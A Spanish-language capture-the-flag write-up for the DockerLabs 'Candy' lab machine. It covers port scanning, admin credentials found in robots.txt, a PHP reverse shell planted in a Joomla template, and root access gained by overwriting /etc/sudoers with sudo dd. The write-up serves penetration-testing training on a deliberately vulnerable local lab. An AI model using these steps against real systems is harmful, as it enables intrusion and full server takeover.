> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/candy.md).

# Candy

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Candy** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos `7z` para extraer los archivos:

```bash
7z x candy.zip
```

<figure><img src="/files/PH0g0XzX2g4EhOgTTgbx" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Desplegamos el entorno con el script proporcionado:

```bash
bash auto_deploy.sh candy.tar
```

<figure><img src="/files/YUhZVfbW1WbnwpmYqgXH" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Confirmamos que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/mBETPJkKQOMPon8uUci6" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

<figure><img src="/files/n2MwnZd5SpVvlRk6OrT7" alt=""><figcaption></figcaption></figure>

**Resultado:**

* **Puerto 80:** `HTTP`.

**3. Análisis Detallado:**

Escaneamos el puerto 80 para obtener más información:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

<figure><img src="/files/6TaAMbKEOUjEzmjyoerh" alt=""><figcaption></figcaption></figure>

**Resultados:**

* **Servidor web:** Apache httpd 2.4.58 (Ubuntu).
* **Tecnología detectada:** Joomla.

***

#### **Explotación:**

**1. Enumeración Web:**

Accedemos al sitio web en el puerto 80 (`http://172.17.0.2`).

<figure><img src="/files/Icc6RgoSzbGEeLoLFurT" alt=""><figcaption></figcaption></figure>

**2. Obtención de Credenciales:**

Revisamos el archivo `robots.txt`:

```
http://172.17.0.2/robots.txt
```

<figure><img src="/files/0sT7OKo7xtVtjYJl2MBz" alt=""><figcaption></figcaption></figure>

Encontramos credenciales en Base64:

```bash
echo "c2FubHVpczEyMzQ1" | base64 -d; echo
```

<figure><img src="/files/A54sRJmr3TufqZvoaeiX" alt=""><figcaption></figcaption></figure>

**Resultados:**

* **Usuario:** `admin`.
* **Contraseña:** `sanluis12345`.

**3. Acceso al Panel de Administración:**

Utilizamos las credenciales en el panel de Joomla:

```
http://172.17.0.2/administrator/
```

<figure><img src="/files/TTvp9nCtJdVwmZDgGJpo" alt=""><figcaption></figcaption></figure>

**4. Explotación de Plantillas:**

Modificamos la plantilla **Cassiopeia** para insertar una reverse shell en el archivo `error.php`.

<figure><img src="/files/I2NoklyPRqR321075s0W" alt=""><figcaption></figcaption></figure>

1. Generamos una reverse shell con [RevShells](https://www.revshells.com/) (**PHP PentestMonkey**).

<figure><img src="/files/xhI8n42BgsWMDMBdYOur" alt=""><figcaption></figcaption></figure>

2. Editamos el archivo `error.php` en la plantilla.

<figure><img src="/files/lJ0J6i3BP4tIc1lZBKN0" alt=""><figcaption></figcaption></figure>

3. Nos ponemos en escucha:

```bash
nc -lvnp 123
```

<figure><img src="/files/pl9CLjfLWkVo5UtzTKcS" alt=""><figcaption></figcaption></figure>

4. Accedemos al archivo `error.php`:

```
http://172.17.0.2/templates/cassiopeia/error.php
```

<figure><img src="/files/9JMCSuev1RxzmV7Mo5Sa" alt=""><figcaption></figcaption></figure>

5. Recibimos la shell en nuestra consola.

<figure><img src="/files/WLk3LNnMS9xtlD5nT619" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Enumeración de Usuarios:**

Buscamos archivos del usuario `luisillo`:

```bash
find / -user luisillo 2>/dev/null
```

<figure><img src="/files/D6iE3agRwKUfTT8IUN0c" alt=""><figcaption></figcaption></figure>

**2. Obtención de Credenciales:**

Encontramos credenciales en un archivo oculto:

```bash
cat /var/backups/hidden/otro_caramelo.txt
```

<figure><img src="/files/yDp3WmoFMhVzYl8kayrv" alt=""><figcaption></figcaption></figure>

**Credenciales:**

* **Usuario:** `luisillo`.
* **Contraseña:** `luisillosuperpassword`.

**3. Acceso al Usuario:**

Cambiamos al usuario `luisillo`:

```bash
su luisillo
```

<figure><img src="/files/pkldq94HmomLsC0P6Ywa" alt=""><figcaption></figcaption></figure>

**4. Abuso de Sudo:**

Verificamos privilegios:

```bash
sudo -l
```

<figure><img src="/files/hxc1HTv4zOex3J2SGfKA" alt=""><figcaption></figcaption></figure>

Abusamos de `dd` para obtener acceso como `root` ([GTFOBins](https://gtfobins.github.io/gtfobins/dd/)):

```bash
echo "luisillo ALL=(ALL:ALL) ALL" | sudo /bin/dd of=/etc/sudoers
```

<figure><img src="/files/ncbk4nPN1UCH1xNq4Isd" alt=""><figcaption></figcaption></figure>

Finalmente, accedemos como el usuario `root`.

<figure><img src="/files/b0S9JAuveD3Hy0xT2HlO" alt=""><figcaption></figcaption></figure>
